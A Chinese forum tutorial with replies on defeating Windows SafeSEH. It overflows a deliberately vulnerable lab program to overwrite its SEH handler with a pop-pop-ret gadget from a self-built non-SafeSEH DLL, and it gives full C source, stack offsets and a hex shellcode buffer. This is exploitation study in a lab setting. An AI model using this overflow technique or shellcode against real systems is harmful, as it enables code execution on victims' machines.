突破SafeSEH机制之二——利用未启用SafeSEH模块绕过SafeSEH

筠溪

敲黑板敲黑板~~今天我们继续~
上次讲到SafeSEH的突破，介绍了一个简单的利用堆绕过SafeSEH突破SafeSEH机制之一——利用堆绕过SafeSEH
本篇总共遇到了3个问题还没有解决，有没有大神帮我解答一下，我都把问题背景给标黄了。
突破思路：
那么有3种情况，系统可以允许异常处理函数执行：
1、异常处理函数位于加载模块内存范围之外，DEP关闭
2、异常处理函数位于加载模块内存范围之内，相应模块未启用SafeSEH（SafeSEH表为空），不是纯IL（本次要调试的）
3、异常处理函数位于加载模块内存范围之内，相应模块启用SafeSEH，异常处理函数地址包含在SafeSEH表中（放弃）

可以看到，我们突破SafeSEH的方法分为3种
1、排除DEP干扰，在加载模块内存范围外找一个跳板指令就可以转入shellcode执行
2、利用未启用SafeSEH模块中的指令作为跳板，转入shellcode执行
3、由于SafeSEH表加密，对于新手的我暂时不考虑了。

今天我们一起调试第2种，加载模块未启用SafeSEH，啥意思？
简单来说，就是... 知道LoadLibrary吧，知道dll吧？系统会在程序运行的时候提供各种各样的模块供程序加载调用（kernel32.dll,user32.dll等），这些程序加载的模块由于某种原因没有启用SafeSEH，这样就可以为我们所用！一般来说，这些系统提供的dll都会有启用SafeSEH，为了本次实验，我们自己制作一个没有启用SafeSEH的dll。

第一步 编写一个包含异常处理的漏洞程序
环境:
XP SP3
VS 2008
禁止优化选项（C/C++------optimization：disable）
Release版本编译
关闭DEP（还是那个问题，我在vs2008里并没有关闭DEP（截图在上一个帖子），可是执行结果却没有影响，有没有遇到相同问题的同学？？）


代码：

[C] 纯文本查看 复制代码

char shellcode[]=
"\x90\x90\x90\x90... ..."
DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);        
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        HINSTANCE hInst = LoadLibrary(_T("115.dll"));//load No_SafeSEH module
        //char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}

现将shellcode用90来进行填充，从代码我们可以看出，通过向str进行超长字符串溢出，覆盖SEH链，劫持异常程序处理流程。
那么我们将程序劫持到哪里呢？shellcode？恐怕不行，因为在进行有效性检查之前，会查看这个地址，如果这个指针指向栈，就会直接终止调用。
所以，我们必须将程序劫持到一个栈外的地址，并且没有SafeSEH表的模块中，执行这个模块的某一个指令（一般是跳板指令），再跳回到shellcode执行。完美~

第二步 找地址！
找什么地址？
shellcode字符串在栈中的首地址A
需要溢出的异常处理函数指针位置，也就是溢出点B
根据B-A+4确定（溢出点上半部分的）shellcode的大小（划重点，划重点了！！！）
为什么说，这次B-A+4不是shellcode 的大小？因为shellcode的布置不再是shellcode+若干90+覆盖地址
因为覆盖的指针不能直接跳往shellcode啊，所以我们得用一个栈外地址、并且没有SafeSEH的模块中的跳转指令跳到shellcode，这样的话shellcode的布置就不再像以往那么简单，就想到jmp esp这种类似的跳转指令了，考虑用pop pop ret之类的指令，后面调试的时候告诉你为什么。
shellcode布置200个90，调试：

还是直接运行到strcpy后面，搜索9090，记下shellcode首地址A：0x0012FE84


拉到栈下面，就是200个字节覆盖的尽头~查看还有多远才能覆盖到SEH：

得到B地址 溢出点地址：0x0012FF60
B-A=220字节

第三步 布置shellcode
我们遇到了无法直接跳往shellcode的情况，考虑跳板指令，用跳板指令，一般shellcode就在覆盖地址的后面，要不就是jmp esp 或者ret
在调试的时候，我们发现在test函数刚进入的时候，会在Security cookie+4的地方压入一个-2，在准备出try{}的时候，又把这个值改动成0。原理我也不太清楚，只要我们知道，这里有一个值，他是在溢出点B下方（+8的高地址）

这就出现问题了，我们如果想把shellcode布置在溢出点后面，用跳板指令跳到接下来的地址，但是shellcode有可能被这样一个机制修改，导致shellcode被破坏，怎么办？
幸亏shellcode被破坏的地方不多，也是仅仅溢出点后面2个DWORD，所以这两个DWORD我们用无关的90填充，接下来再填充shellcode。

接下来就是跳转指令的选择了，怎么能在执行溢出点的异常处理函数后，再跳回来呢，这就需要我们的SafeSEH OFF的模块了
如果shellcode紧邻着溢出点B，我们可以直接找ret指令的函数，跳回来继续执行shellcode，由于用了两个DWORD填充shellcode前两个字节，所以考虑选择pop pop ret指令
shellcode布置如下：
220字节0x90||4字节pop pop ret地址||8字节0x90||168字节shellcode内容

好了，还剩最后一个问题了，跳板指令地址哪里来？我们自己构造一个dll，包含这个指令的。

第四步 制作SafeSEH OFF的DLL
环境：
XP SP3
VC 6.0（编译器不会启用SafeSEH）
链接选项：/base:"0x11120000"(这里是防止跳转指令地址出现0x00截断字符串，问题：如果跳转指令必须有00，怎么处理，大神快告诉我)

[C] 纯文本查看 复制代码

#include "stdafx.h"

BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
        pop eax
        pop eax
        retn
        }
}

可以看出了，这个dll就包含了一个pop pop ret的内容

怎么验证这个dll没有开启SafeSEH呢？两种方法，一种是利用vs里面的工具，vs 2008 command prompt命令行工具，利用"dumpbin /loadconfig"+dll名称
另一个方法就是，用我们开头的程序，直接OD调试，待LoadLibrary后，有一个插件叫做SafeSEH能够直接查看加载的模块SafeSEH情况，还有一个插件叫ODFindaddr，里面有一个unprotected modules——without SafeSEH都能查看


接下来我们查找pop pop ret的地址，OD调试

直接搜索0x58 0x58 0xC3
问题：不知道为什么，没有找到pop eax，找到了pop ecx，pop ecx，ret
有同学遇到相同的问题了吗。
这里就能够确定这个跳转指令地址：0x111211B6

完善代码和shellcode：

[C] 纯文本查看 复制代码

#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"//220 bytes
"\xB6\x11\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;

DWORD MyException(void)
{
        printf("There is an exception");
        getchar();
        return 1;
}
void test(char * input)
{
        char str[200];
        strcpy(str,input);        
    int zero=0;
        __try
        {
            zero=1/zero;
        }
        __except(MyException())
        {
        }
}
int _tmain(int argc, _TCHAR* argv[])
{
        HINSTANCE hInst = LoadLibrary(_T("115.dll"));//load No_SafeSEH module
        //char str[200];
        __asm int 3
        test(shellcode);
        return 0;
}

运行~完美溢出... ... 等会，不对啊，咋没反应... ...
尴尬... ...同学们，我们调试一下看一下。

直接F9，看看错误发生在哪里，OD显示0x130000写入错误。

我们来计算一下，0x130000-0x12FE84=148<168.所以shellcode根本拷贝不完... ...栈空间不足

——————————————————————————手工割———————————————————————

上次调试发现栈空间不足，原来是因为main函数中，有一个str[200]的字符数组定义，用来提高栈顶，我们还将这个“没用的”str数组恢复。这样是不是就可以了？
更新shellcode首地址A：0x0012FDB8   溢出点B：0x0012FE94(其实算出来shellcode怎么填充的，这个怎么变都没用了)

一定要记下来这个覆盖的SEH结构地址0x0012FE90
前面我没有讲清楚这个跳转的流程，这个跳转稍微麻烦点，我们现在一点点来看，我尽量多截图
（1）pop pop ret

发生除0异常后，OD接管异常，我们按shift+F9，果然进入到我们覆盖的异常处理函数地址0x111211B6
这时我们观察栈顶，发现pop两次之后，就会return到之前覆盖的SEH头0x0012FE90，继续执行看看会发生什么
（2）ret之后的事情

现在终于来到了临近shellcode的地方，先是4个0x90，然后就是我们找到的0x111211B6跳板指令地址，接下来是8个字节的0x90，只不过后4个已经在try分支处理的时候被置为0了
本来这些无关紧要的数值被当成代码执行的时候，一般情况下是不会影响shellcode执行的，但是很不幸，我们就遇到了这种情况：

显然，这些变动的字节，对我们的shellcode造成了污染，直接影响了代码的正常执行，所以必须想办法，怎么办，那就跳过去吧
（3）jmp过去
位于0x0012FE90的4个90没用，我们想办法把这个4个字节改造一下，想办法直接跳到shellcode处
我们看到shellcode的地址距离当前有16个字节的长度，无条件转移指令jmp 16个字节就可以了，根据汇编指令，是\xEB\x0E
所以这个4个字节就成了"\xEB\x0E\x90\x90”
修改之后，我们再次调试程序到这里：

看见没，可以直接跳转到shellcode了！
再继续运行：

本次调试实验到此结束。
你学会了吗？？？？

筠溪

找到问题了，我自作聪明的把原作者的main函数中定义的char str[200]给注释掉了。导致堆栈空间不足。
但还是有问题，就是没办法异常处理跳到111211B6，我定义的地址执行

asd9988

在这种情况下楼主还在努力研究win 系统的 一些机制 。 敬佩，
现在主流不是转向安卓了吗

筠溪

asd9988 发表于 2017-8-2 18:00
在这种情况下楼主还在努力研究win 系统的 一些机制 。 敬佩，
现在主流不是转向安卓了吗

闲来无事，最近就想看看各种Windows的保护机制以及突破方法，另外现在主流的漏洞，管用的漏洞，也是基于windows的吧。毕竟还是世界上用的最多的系统。虽然我知道随着win10的更新，Windows漏洞越来越难了。
安卓安全我不太了解，有好用的入门的资料吗？我可以过这一阵子看看

xiawan

pc一样重要，安卓代替不了电脑。支持楼主~！

zt185

学习了，和高手学习提高自己！

fengjixuchui

感谢分享！

Roomyoung

这里"问题：不知道为什么，没有找到pop eax，找到了pop ecx，pop ecx，retn"
VC 6.0 的优化没关闭, Project Setting->C/C++->Optimizations

bubu

Roomyoung 发表于 2017-10-3 22:48
这里"问题：不知道为什么，没有找到pop eax，找到了pop ecx，pop ecx，retn"
VC 6.0 的优化没关闭, Projec ...

确实是没有关闭优化选项。如果release版本不好关闭的话，可以选择debug版本，然后关闭优化选项。